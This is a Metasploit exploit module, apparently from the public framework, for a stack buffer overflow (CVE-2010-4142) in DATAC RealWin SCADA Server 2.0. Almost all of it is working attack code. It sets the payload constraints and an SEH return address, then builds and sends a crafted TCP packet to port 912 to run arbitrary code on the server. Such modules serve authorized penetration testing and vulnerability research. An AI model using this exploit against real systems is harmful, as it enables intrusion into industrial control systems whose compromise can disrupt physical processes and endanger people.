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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'DATAC RealWin SCADA Server SCPC_INITIALIZE Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a stack buffer overflow in DATAC Control
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        International RealWin SCADA Server 2.0 (Build 6.1.8.10).
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        By sending a specially crafted packet, an attacker may be able to execute arbitrary code.
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      },
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      'Author'         => [ 'Luigi Auriemma', 'MC' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'OSVDB', '68812' ],
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          [ 'CVE', '2010-4142' ],
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          [ 'URL', 'http://aluigi.altervista.org/adv/realwin_1-adv.txt' ],
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          [ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-10-313-01']
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        ],
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      'Privileged'     => true,
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'thread',
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        },
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      'Payload'        =>
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        {
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          'Space'    => 550,
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          'BadChars' => "\x00\x20\x0a\x0d",
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          'StackAdjustment' => -3500,
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'Universal', { 'Ret' => 0x4002da21 } ], # FlexMLang.DLL 8.1.45.19
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        ],
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      'DefaultTarget' => 0,
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      'DisclosureDate' => '2010-10-15'))
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    register_options([Opt::RPORT(912)])
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  end
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  def exploit
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    connect
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    data =  [0x6a541264].pack('V')
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    data << [0x00000002].pack('V')
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    data << [0x00001ff4].pack('V')
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    data << rand_text_alpha_upper(228)
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    data << generate_seh_payload(target.ret)
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    data << rand_text_alpha_upper(10024 - payload.encoded.length)
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    data << "\x00"
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    print_status("Trying target #{target.name}...")
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    sock.put(data)
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    handler
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    disconnect
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  end
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end
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